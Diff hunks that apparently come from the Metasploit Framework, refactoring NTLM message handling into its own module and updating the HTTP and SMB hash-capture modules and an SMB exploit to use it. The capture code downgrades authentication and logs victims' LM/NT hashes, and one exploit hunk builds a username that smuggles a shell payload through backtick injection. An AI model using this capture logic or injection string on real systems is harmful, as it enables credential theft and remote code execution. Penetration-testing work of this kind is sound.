|
||||
"\x06" + self.asn1encode(
|
||||
"\x2b\x06\x01\x05\x05\x02"
|
||||
) +
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
return blob
|
||||
end
|
||||
|
||||
#This function will create a GSS Sec blob compatible for SMB_NEGOCIATE_RESPONSE packet of this kind :
|
||||
#mechTypes: 4 items :
|
||||
# MechType: 1.2.840.48018.1.2.2 (MS KRB5 - Microsoft Kerberos 5)
|
||||
# MechType: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5)
|
||||
# MechType: 1.2.840.113554.1.2.2.3 (KRB5 - Kerberos 5 - User to User)
|
||||
# MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider)
|
||||
#mechListMIC:
|
||||
# principal: account@domain
|
||||
def self.make_negotiate_secblob_resp(account, domain)
|
||||
blob =
|
||||
"\x60" + self.asn1encode(
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2b\x06\x01\x05\x05\x02"
|
||||
) +
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"
|
||||
) +
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"
|
||||
) +
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"
|
||||
) +
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
|
||||
)
|
||||
)
|
||||
) +
|
||||
"\xa3" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x1b" + self.asn1encode(
|
||||
account + '@' + domain
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
return blob
|
||||
end
|
||||
|
||||
def self.make_ntlmv2_secblob_chall(win_domain, win_name, dns_domain, dns_name, chall, flags)
|
||||
|
||||
blob =
|
||||
"\xa1" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x0a" + self.asn1encode(
|
||||
"\x01"
|
||||
)
|
||||
) +
|
||||
"\xa1" + self.asn1encode(
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
|
||||
)
|
||||
) +
|
||||
"\xa2" + self.asn1encode(
|
||||
"\x04" + self.asn1encode(
|
||||
make_ntlm_type2_blob(win_domain, win_name, dns_domain, dns_name, chall, flags)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
return blob
|
||||
end
|
||||
|
||||
def self.make_ntlm_type2_blob(win_domain, win_name, dns_domain, dns_name, chall, flags)
|
||||
|
||||
addr_list = ''
|
||||
addr_list << [2, win_domain.length].pack('vv') + win_domain
|
||||
addr_list << [1, win_name.length].pack('vv') + win_name
|
||||
addr_list << [4, dns_domain.length].pack('vv') + dns_domain
|
||||
addr_list << [3, dns_name.length].pack('vv') + dns_name
|
||||
addr_list << [0, 0].pack('vv')
|
||||
|
||||
ptr = 0
|
||||
blob = "NTLMSSP\x00" +
|
||||
[2].pack('V') +
|
||||
[
|
||||
win_domain.length, # length
|
||||
win_domain.length, # max length
|
||||
(ptr += 48) # offset
|
||||
].pack('vvV') +
|
||||
[ flags ].pack('V') +
|
||||
chall +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
[
|
||||
addr_list.length, # length
|
||||
addr_list.length, # max length
|
||||
(ptr += win_domain.length)
|
||||
].pack('vvV') +
|
||||
win_domain +
|
||||
addr_list
|
||||
return blob
|
||||
end
|
||||
|
||||
|
||||
|
||||
def self.make_ntlmv2_secblob_success
|
||||
blob =
|
||||
"\xa1" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x0a" + self.asn1encode(
|
||||
"\x00"
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
return blob
|
||||
end
|
||||
|
||||
#
|
||||
# Process Type 3 NTLM Message (in Base64)
|
||||
#
|
||||
# from http://www.innovation.ch/personal/ronald/ntlm.html
|
||||
#
|
||||
# struct {
|
||||
# byte protocol[8]; // 'N', 'T', 'L', 'M', 'S', 'S', 'P', '\0'
|
||||
# byte type; // 0x03
|
||||
# byte zero[3];
|
||||
#
|
||||
# short lm_resp_len; // LanManager response length (always 0x18)
|
||||
# short lm_resp_len; // LanManager response length (always 0x18)
|
||||
# short lm_resp_off; // LanManager response offset
|
||||
# byte zero[2];
|
||||
#
|
||||
# short nt_resp_len; // NT response length (always 0x18)
|
||||
# short nt_resp_len; // NT response length (always 0x18)
|
||||
# short nt_resp_off; // NT response offset
|
||||
# byte zero[2];
|
||||
#
|
||||
# short dom_len; // domain string length
|
||||
# short dom_len; // domain string length
|
||||
# short dom_off; // domain string offset (always 0x40)
|
||||
# byte zero[2];
|
||||
#
|
||||
# short user_len; // username string length
|
||||
# short user_len; // username string length
|
||||
# short user_off; // username string offset
|
||||
# byte zero[2];
|
||||
#
|
||||
# short host_len; // host string length
|
||||
# short host_len; // host string length
|
||||
# short host_off; // host string offset
|
||||
# byte zero[6];
|
||||
#
|
||||
# short msg_len; // message length
|
||||
# byte zero[2];
|
||||
#
|
||||
# short flags; // 0x8201
|
||||
# byte zero[2];
|
||||
#
|
||||
# byte dom[*]; // domain string (unicode UTF-16LE)
|
||||
# byte user[*]; // username string (unicode UTF-16LE)
|
||||
# byte host[*]; // host string (unicode UTF-16LE)
|
||||
# byte lm_resp[*]; // LanManager response
|
||||
# byte nt_resp[*]; // NT response
|
||||
# } type_3_message
|
||||
#
|
||||
def self.process_type3_message(message)
|
||||
decode = Rex::Text.decode_base64(message.strip)
|
||||
type = decode[8,1].unpack("C").first
|
||||
if (type == 3)
|
||||
lm_len = decode[12,2].unpack("v").first
|
||||
lm_offset = decode[16,2].unpack("v").first
|
||||
lm = decode[lm_offset, lm_len].unpack("H*").first
|
||||
|
||||
nt_len = decode[20,2].unpack("v").first
|
||||
nt_offset = decode[24,2].unpack("v").first
|
||||
nt = decode[nt_offset, nt_len].unpack("H*").first
|
||||
|
||||
dom_len = decode[28,2].unpack("v").first
|
||||
dom_offset = decode[32,2].unpack("v").first
|
||||
domain = decode[dom_offset, dom_len]
|
||||
|
||||
user_len = decode[36,2].unpack("v").first
|
||||
user_offset = decode[40,2].unpack("v").first
|
||||
user = decode[user_offset, user_len]
|
||||
|
||||
host_len = decode[44,2].unpack("v").first
|
||||
host_offset = decode[48,2].unpack("v").first
|
||||
host = decode[host_offset, host_len]
|
||||
|
||||
return domain, user, host, lm, nt
|
||||
else
|
||||
return "", "", "", "", ""
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Process Type 1 NTLM Messages, return a Base64 Type 2 Message
|
||||
#
|
||||
def self.process_type1_message(message, nonce = "\x11\x22\x33\x44\x55\x66\x77\x88", win_domain = 'DOMAIN',
|
||||
win_name = 'SERVER', dns_name = 'server', dns_domain = 'example.com', downgrade = true)
|
||||
|
||||
dns_name = Rex::Text.to_unicode(dns_name + "." + dns_domain)
|
||||
win_domain = Rex::Text.to_unicode(win_domain)
|
||||
dns_domain = Rex::Text.to_unicode(dns_domain)
|
||||
win_name = Rex::Text.to_unicode(win_name)
|
||||
decode = Rex::Text.decode_base64(message.strip)
|
||||
|
||||
type = decode[8,1].unpack("C").first
|
||||
|
||||
if (type == 1)
|
||||
# A type 1 message has been received, lets build a type 2 message response
|
||||
|
||||
reqflags = decode[12,4]
|
||||
reqflags = reqflags.unpack("V").first
|
||||
|
||||
if (reqflags & CONST::REQUEST_TARGET) == CONST::REQUEST_TARGET
|
||||
|
||||
if (downgrade)
|
||||
# At this time NTLMv2 and signing requirements are not supported
|
||||
if (reqflags & CONST::NEGOTIATE_NTLM2_KEY) == CONST::NEGOTIATE_NTLM2_KEY
|
||||
reqflags = reqflags - CONST::NEGOTIATE_NTLM2_KEY
|
||||
end
|
||||
if (reqflags & CONST::NEGOTIATE_ALWAYS_SIGN) == CONST::NEGOTIATE_ALWAYS_SIGN
|
||||
reqflags = reqflags - CONST::NEGOTIATE_ALWAYS_SIGN
|
||||
end
|
||||
end
|
||||
|
||||
flags = reqflags + CONST::TARGET_TYPE_DOMAIN + CONST::TARGET_TYPE_SERVER
|
||||
tid = true
|
||||
|
||||
tidoffset = 48 + win_domain.length
|
||||
tidbuff =
|
||||
[2].pack('v') + # tid type, win domain
|
||||
[win_domain.length].pack('v') +
|
||||
win_domain +
|
||||
[1].pack('v') + # tid type, server name
|
||||
[win_name.length].pack('v') +
|
||||
win_name +
|
||||
[4].pack('v') + # tid type, domain name
|
||||
[dns_domain.length].pack('v') +
|
||||
dns_domain +
|
||||
[3].pack('v') + # tid type, dns_name
|
||||
[dns_name.length].pack('v') +
|
||||
dns_name
|
||||
else
|
||||
flags = CONST::NEGOTIATE_UNICODE + CONST::NEGOTIATE_NTLM
|
||||
tid = false
|
||||
end
|
||||
|
||||
type2msg = "NTLMSSP\0" + # protocol, 8 bytes
|
||||
"\x02\x00\x00\x00" # type, 4 bytes
|
||||
|
||||
if (tid)
|
||||
type2msg += # Target security info, 8 bytes. Filled if REQUEST_TARGET
|
||||
[win_domain.length].pack('v') + # Length, 2 bytes
|
||||
[win_domain.length].pack('v') # Allocated space, 2 bytes
|
||||
end
|
||||
|
||||
type2msg +="\x30\x00\x00\x00" + # Offset, 4 bytes
|
||||
[flags].pack('V') + # flags, 4 bytes
|
||||
nonce + # the nonce, 8 bytes
|
||||
"\x00" * 8 # Context (all 0s), 8 bytes
|
||||
|
||||
if (tid)
|
||||
type2msg += # Target information security buffer. Filled if REQUEST_TARGET
|
||||
[tidbuff.length].pack('v') + # Length, 2 bytes
|
||||
[tidbuff.length].pack('v') + # Allocated space, 2 bytes
|
||||
[tidoffset].pack('V') + # Offset, 4 bytes (usually \x48 + length of win_domain)
|
||||
win_domain + # Target name data (domain in unicode if REQUEST_UNICODE)
|
||||
# Target information data
|
||||
tidbuff + # Type, 2 bytes
|
||||
# Length, 2 bytes
|
||||
# Data (in unicode if REQUEST_UNICODE)
|
||||
"\x00\x00\x00\x00" # Terminator, 4 bytes, all \x00
|
||||
end
|
||||
|
||||
type2msg = Rex::Text.encode_base64(type2msg).delete("\n") # base64 encode and remove the returns
|
||||
else
|
||||
# This is not a Type2 message
|
||||
type2msg = ""
|
||||
end
|
||||
|
||||
return type2msg
|
||||
end
|
||||
|
||||
#
|
||||
# Downgrading Type messages to LMv1/NTLMv1 and removing signing
|
||||
#
|
||||
def self.downgrade_type_message(message)
|
||||
decode = Rex::Text.decode_base64(message.strip)
|
||||
|
||||
type = decode[8,1].unpack("C").first
|
||||
|
||||
if (type > 0 and type < 4)
|
||||
reqflags = decode[12..15] if (type == 1 or type == 3)
|
||||
reqflags = decode[20..23] if (type == 2)
|
||||
reqflags = reqflags.unpack("V")
|
||||
|
||||
# Remove NEGOTIATE_NTLMV2_KEY and NEGOTIATE_ALWAYS_SIGN, this lowers the negotiation
|
||||
# down to LMv1/NTLMv1.
|
||||
if (reqflags & CONST::NEGOTIATE_NTLM2_KEY) == CONST::NEGOTIATE_NTLM2_KEY
|
||||
reqflags = reqflags - CONST::NEGOTIATE_NTLM2_KEY
|
||||
end
|
||||
if (reqflags & CONST::NEGOTIATE_ALWAYS_SIGN) == CONST::NEGOTIATE_ALWAYS_SIGN
|
||||
reqflags = reqflags - CONST::NEGOTIATE_ALWAYS_SIGN
|
||||
end
|
||||
|
||||
# Return the flags back to the decode so we can base64 it again
|
||||
flags = reqflags.to_s(16)
|
||||
0.upto(8) do |idx|
|
||||
if (idx > flags.length)
|
||||
flags.insert(0, "0")
|
||||
end
|
||||
end
|
||||
|
||||
idx = 0
|
||||
0.upto(3) do |cnt|
|
||||
if (type == 2)
|
||||
decode[23-cnt] = [flags[idx,1]].pack("C")
|
||||
else
|
||||
decode[15-cnt] = [flags[idx,1]].pack("C")
|
||||
end
|
||||
idx += 2
|
||||
end
|
||||
|
||||
end
|
||||
return Rex::Text.encode_base64(decode).delete("\n") # base64 encode and remove the returns
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -414,6 +414,33 @@ module Text
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a unicode string to standard ASCII text.
|
||||
#
|
||||
def self.to_ascii(str='', type = 'utf-16le', mode = '', size = '')
|
||||
return '' if not str
|
||||
case type
|
||||
when 'utf-16le'
|
||||
return str.unpack('v*').pack('C*')
|
||||
when 'utf-16be'
|
||||
return str.unpack('n*').pack('C*')
|
||||
when 'utf-32le'
|
||||
return str.unpack('V*').pack('C*')
|
||||
when 'utf-32be'
|
||||
return str.unpack('N*').pack('C*')
|
||||
when 'utf-7'
|
||||
raise TypeError, 'invalid utf type, not yet implemented'
|
||||
when 'utf-8'
|
||||
raise TypeError, 'invalid utf type, not yet implemented'
|
||||
when 'uhwtfms' # suggested name from HD :P
|
||||
raise TypeError, 'invalid utf type, not yet implemented'
|
||||
when 'uhwtfms-half' # suggested name from HD :P
|
||||
raise TypeError, 'invalid utf type, not yet implemented'
|
||||
else
|
||||
raise TypeError, 'invalid utf type'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Encode a string in a manor useful for HTTP URIs and URI Parameters.
|
||||
#
|
||||
|
@ -1036,6 +1063,28 @@ module Text
|
|||
[bits.join].pack("B32").unpack("N")[0]
|
||||
end
|
||||
|
||||
#
|
||||
# Split a string by n charachter into an array
|
||||
#
|
||||
def self.split_to_a(str, n)
|
||||
if n > 0
|
||||
s = str.dup
|
||||
until s.empty?
|
||||
(ret ||= []).push s.slice!(0, n)
|
||||
end
|
||||
else
|
||||
ret = str
|
||||
end
|
||||
ret
|
||||
end
|
||||
|
||||
#
|
||||
#Pack a value as 64 bit litle endian; does not exist for Array.pack
|
||||
#
|
||||
def self.pack_int64le(val)
|
||||
[val & 0x00000000ffffffff, val >> 32].pack("V2")
|
||||
end
|
||||
|
||||
|
||||
protected
|
||||
|
||||
|
|
|
@ -93,8 +93,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
user = "USER"
|
||||
domain = "DOMAIN"
|
||||
hash_lm = Rex::Proto::SMB::Crypt.lanman_des("X", "X" * 8)
|
||||
hash_nt = Rex::Proto::SMB::Crypt.ntlm_md4("X", "X" * 8)
|
||||
hash_lm = Rex::Proto::NTLM::Crypt.lanman_des("X", "X" * 8)
|
||||
hash_nt = Rex::Proto::NTLM::Crypt.ntlm_md4("X", "X" * 8)
|
||||
|
||||
data = ''
|
||||
data << hash_lm
|
||||
|
|
|
@ -11,7 +11,7 @@
|
|||
|
||||
|
||||
require 'msf/core'
|
||||
require 'net/ntlm'
|
||||
require 'rex/proto/ntlm/message'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
|
|
@ -11,11 +11,12 @@
|
|||
|
||||
require 'msf/core'
|
||||
|
||||
require 'rex/proto/smb/constants'
|
||||
CONST = Rex::Proto::SMB::Constants
|
||||
require 'rex/proto/ntlm/constants'
|
||||
|
||||
require 'rex/proto/smb/utils'
|
||||
UTILS = Rex::Proto::SMB::Utils
|
||||
NTLM_CONST = Rex::Proto::NTLM::Constants
|
||||
|
||||
require 'rex/proto/ntlm/message'
|
||||
MESSAGE = Rex::Proto::NTLM::Message
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
|
@ -110,13 +111,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
response = create_response(401, "Unauthorized")
|
||||
chalhash = UTILS.process_type1_message(hash,@challenge,domain,server,dnsname,dnsdomain)
|
||||
chalhash = MESSAGE.process_type1_message(hash,@challenge,domain,server,dnsname,dnsdomain)
|
||||
response.headers['WWW-Authenticate'] = "NTLM " + chalhash
|
||||
return response
|
||||
|
||||
#if the message is a type 3 message, then we have our creds
|
||||
elsif(message[8,1] == "\x03")
|
||||
domain,user,host,lm_hash,ntlm_hash = UTILS.process_type3_message(hash)
|
||||
domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(hash)
|
||||
print_status("#{cli.peerhost}: #{domain}\\#{user} #{lm_hash}:#{ntlm_hash} on #{host}")
|
||||
|
||||
if(datastore['LOGFILE'])
|
||||
|
@ -165,12 +166,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
reqflags = message[12,4]
|
||||
reqflags = reqflags.unpack("V").first
|
||||
|
||||
if((reqflags & CONST::NEGOTIATE_DOMAIN) == CONST::NEGOTIATE_DOMAIN)
|
||||
if((reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN)
|
||||
dom_len = message[16,2].unpack('v')[0].to_i
|
||||
dom_off = message[20,2].unpack('v')[0].to_i
|
||||
domain = message[dom_off,dom_len].to_s
|
||||
end
|
||||
if((reqflags & CONST::NEGOTIATE_WORKSTATION) == CONST::NEGOTIATE_WORKSTATION)
|
||||
if((reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION)
|
||||
wor_len = message[24,2].unpack('v')[0].to_i
|
||||
wor_off = message[28,2].unpack('v')[0].to_i
|
||||
workstation = message[wor_off,wor_len].to_s
|
||||
|
|
|
@ -61,20 +61,20 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negociation", false ]),
|
||||
OptBool.new("NTLM_EXTENDED_SECURITY", [ true, "Use ntlm extended security when smb extended security is set", false ]),
|
||||
OptBool.new("USE_GSS_NEGOCIATION", [ true, "Send an gss_security blob in smb_negociate response when smb extended security is set", false ]),
|
||||
OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negociation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]),
|
||||
OptBool.new("NTLM_UseNTLM2_session", [ true, "activate the 'Negotiate NTLM2 key' flag in ntlm authentification when smb extended security negociation is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]),
|
||||
OptBool.new("USE_GSS_NEGOCIATION", [ true, "Send an gss_security blob in smb_negociate response when smb extended security is set, when this flag is not set windows will respond without gss encapsulation, ubuntu will still use gss", false ]),
|
||||
OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
def run
|
||||
@s_smb_esn = datastore['SMB_EXTENDED_SECURITY']
|
||||
@s_ntlm_esn = datastore['NTLM_EXTENDED_SECURITY']
|
||||
@s_ntlm_esn = datastore['NTLM_UseNTLM2_session']
|
||||
@s_gss_neg = datastore['USE_GSS_NEGOCIATION']
|
||||
@domain_name = datastore['DOMAIN_NAME']
|
||||
|
||||
@s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*')
|
||||
if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/
|
||||
@challenge = [ datastore['CHALLENGE'] ].pack("H*")
|
||||
|
@ -184,7 +184,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
pkt['Payload'].v['Payload'] = @s_GUID
|
||||
|
||||
if @s_gss_neg then
|
||||
pkt['Payload'].v['Payload'] += UTILS::make_simple_negotiate_secblob_resp
|
||||
pkt['Payload'].v['Payload'] += NTLM_UTILS::make_simple_negotiate_secblob_resp
|
||||
end
|
||||
|
||||
else
|
||||
|
@ -231,13 +231,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
|
||||
end
|
||||
ntlm_message = NTLM::Message.parse(blob)
|
||||
ntlm_message = NTLM_MESSAGE::parse(blob)
|
||||
|
||||
case ntlm_message
|
||||
when NTLM::Message::Type1
|
||||
when NTLM_MESSAGE::Type1
|
||||
#Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet
|
||||
|
||||
if (ntlm_message.flag & CONST::NEGOTIATE_NTLM2_KEY != 0)
|
||||
if (ntlm_message.flag & NTLM_CONST::NEGOTIATE_NTLM2_KEY != 0)
|
||||
c_ntlm_esn = true
|
||||
else
|
||||
c_ntlm_esn = false
|
||||
|
@ -269,14 +269,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
sb_flag = 0xe2828215 #no ntlm2
|
||||
end
|
||||
if c_gss
|
||||
securityblob = UTILS::make_ntlmv2_secblob_chall( win_domain,
|
||||
securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall( win_domain,
|
||||
win_name,
|
||||
dns_domain,
|
||||
dns_name,
|
||||
@challenge,
|
||||
sb_flag)
|
||||
else
|
||||
securityblob = UTILS::make_ntlm_type2_blob( win_domain,
|
||||
securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( win_domain,
|
||||
win_name,
|
||||
dns_domain,
|
||||
dns_name,
|
||||
|
@ -289,7 +289,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
c.put(pkt.to_s)
|
||||
|
||||
when NTLM::Message::Type3
|
||||
when NTLM_MESSAGE::Type3
|
||||
#we can process the hash and send a status_logon_failure response packet
|
||||
|
||||
# Record the remote multiplex ID
|
||||
|
@ -298,18 +298,18 @@ class Metasploit3 < Msf::Auxiliary
|
|||
nt_len = ntlm_message.ntlm_response.length
|
||||
|
||||
if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session
|
||||
arg = { :ntlm_ver => CONST::NTLM_V1_RESPONSE,
|
||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
||||
:lm_hash => ntlm_message.lm_response.unpack('H*')[0],
|
||||
:nt_hash => ntlm_message.ntlm_response.unpack('H*')[0]
|
||||
}
|
||||
|
||||
if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32
|
||||
arg[:ntlm_ver] = CONST::NTLM_2_SESSION_RESPONSE
|
||||
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
||||
end
|
||||
#if the length of the ntlm response is not 24 then it will be bigger and represent
|
||||
# a ntlmv2 response
|
||||
elsif nt_len > 24 #lmv2/ntlmv2
|
||||
arg = { :ntlm_ver => CONST::NTLM_V2_RESPONSE,
|
||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
||||
:lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0],
|
||||
:lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0],
|
||||
:nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0],
|
||||
|
@ -363,14 +363,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
|
||||
if nt_len == 24
|
||||
arg = { :ntlm_ver => CONST::NTLM_V1_RESPONSE,
|
||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
||||
:lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0],
|
||||
:nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
|
||||
}
|
||||
#if the length of the ntlm response is not 24 then it will be bigger and represent
|
||||
# a ntlmv2 response
|
||||
elsif nt_len > 24
|
||||
arg = { :ntlm_ver => CONST::NTLM_V2_RESPONSE,
|
||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
||||
:lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0],
|
||||
:lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0],
|
||||
:nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0],
|
||||
|
@ -410,7 +410,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def smb_get_hash(smb,arg = {})
|
||||
|
||||
ntlm_ver = arg[:ntlm_ver]
|
||||
if ntlm_ver == CONST::NTLM_V1_RESPONSE or ntlm_ver == CONST::NTLM_2_SESSION_RESPONSE
|
||||
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
||||
lm_hash = arg[:lm_hash]
|
||||
nt_hash = arg[:nt_hash]
|
||||
else
|
||||
|
@ -441,9 +441,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
@previous_ntlm_hash = nt_hash
|
||||
|
||||
#TODO: check if the hash crrespond to an empty password
|
||||
if ntlm_ver == CONST::NTLM_V1_RESPONSE and (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then
|
||||
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE and (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then
|
||||
lm_hash_message = "Disabled"
|
||||
elsif ntlm_ver == CONST::NTLM_V2_RESPONSE and lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
|
||||
elsif ntlm_ver == NTLM_CONST::NTLM_V2_RESPONSE and lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
|
||||
lm_hash_message = "Disabled"
|
||||
lm_chall_message = 'Disabled'
|
||||
else
|
||||
|
@ -453,12 +453,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
capturedtime = Time.now.to_s
|
||||
case ntlm_ver
|
||||
when CONST::NTLM_V1_RESPONSE
|
||||
when NTLM_CONST::NTLM_V1_RESPONSE
|
||||
capturelogmessage =
|
||||
"#{capturedtime}\nNTLMv1 Response Captured from #{smb[:name]} \n" +
|
||||
"#{smb[:domain]}\\#{smb[:username]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
|
||||
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n"
|
||||
when CONST::NTLM_V2_RESPONSE
|
||||
when NTLM_CONST::NTLM_V2_RESPONSE
|
||||
capturelogmessage =
|
||||
"#{capturedtime}\nNTLMv2 Response Captured from #{smb[:name]} \n" +
|
||||
"#{smb[:domain]}\\#{smb[:username]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
|
||||
|
@ -466,7 +466,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
"LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" +
|
||||
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
|
||||
"NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n"
|
||||
when CONST::NTLM_2_SESSION_RESPONSE
|
||||
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
|
||||
capturelogmessage =
|
||||
"#{capturedtime}\nNTLM2_SESSION Response Captured from #{smb[:name]} \n" +
|
||||
"#{smb[:domain]}\\#{smb[:username]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
|
||||
|
@ -516,7 +516,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
if(datastore['CAINPWFILE'] and smb[:username])
|
||||
if ntlm_ver == CONST::NTLM_V1_RESPONSE then
|
||||
if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE then
|
||||
fd = File.open(datastore['CAINPWFILE'], "ab")
|
||||
fd.puts(
|
||||
[
|
||||
|
@ -533,7 +533,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if(datastore['JOHNPWFILE'] and smb[:username])
|
||||
case ntlm_ver
|
||||
when CONST::NTLM_V1_RESPONSE
|
||||
when NTLM_CONST::NTLM_V1_RESPONSE
|
||||
|
||||
fd = File.open(datastore['JOHNPWFILE'] + '_lmv1_ntlmv1', "ab")
|
||||
fd.puts(
|
||||
|
@ -546,7 +546,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
].join(":").gsub(/\n/, "\\n")
|
||||
)
|
||||
fd.close
|
||||
when CONST::NTLM_V2_RESPONSE
|
||||
when NTLM_CONST::NTLM_V2_RESPONSE
|
||||
#lmv2
|
||||
fd = File.open(datastore['JOHNPWFILE'] + '_lmv2', "ab")
|
||||
fd.puts(
|
||||
|
|
|
@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::Remote::SMB
|
||||
|
||||
# For our customized version of session_setup_ntlmv1
|
||||
# For our customized version of session_setup_no_ntlmssp
|
||||
CONST = Rex::Proto::SMB::Constants
|
||||
CRYPT = Rex::Proto::SMB::Crypt
|
||||
|
||||
|
@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
username = "/=`nohup " + payload.encoded + "`"
|
||||
begin
|
||||
simple.client.negotiate(false)
|
||||
simple.client.session_setup_ntlmv1(username, rand_text(16), datastore['SMBDomain'], false)
|
||||
simple.client.session_setup_no_ntlmssp(username, rand_text(16), datastore['SMBDomain'], false)
|
||||
rescue ::Timeout::Error, XCEPT::LoginError
|
||||
# nothing, it either worked or it didn't ;)
|
||||
end
|
||||
|
|
|
@ -142,7 +142,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
begin
|
||||
client.session_request(smb_hostname()) if not datastore['SMBDirect']
|
||||
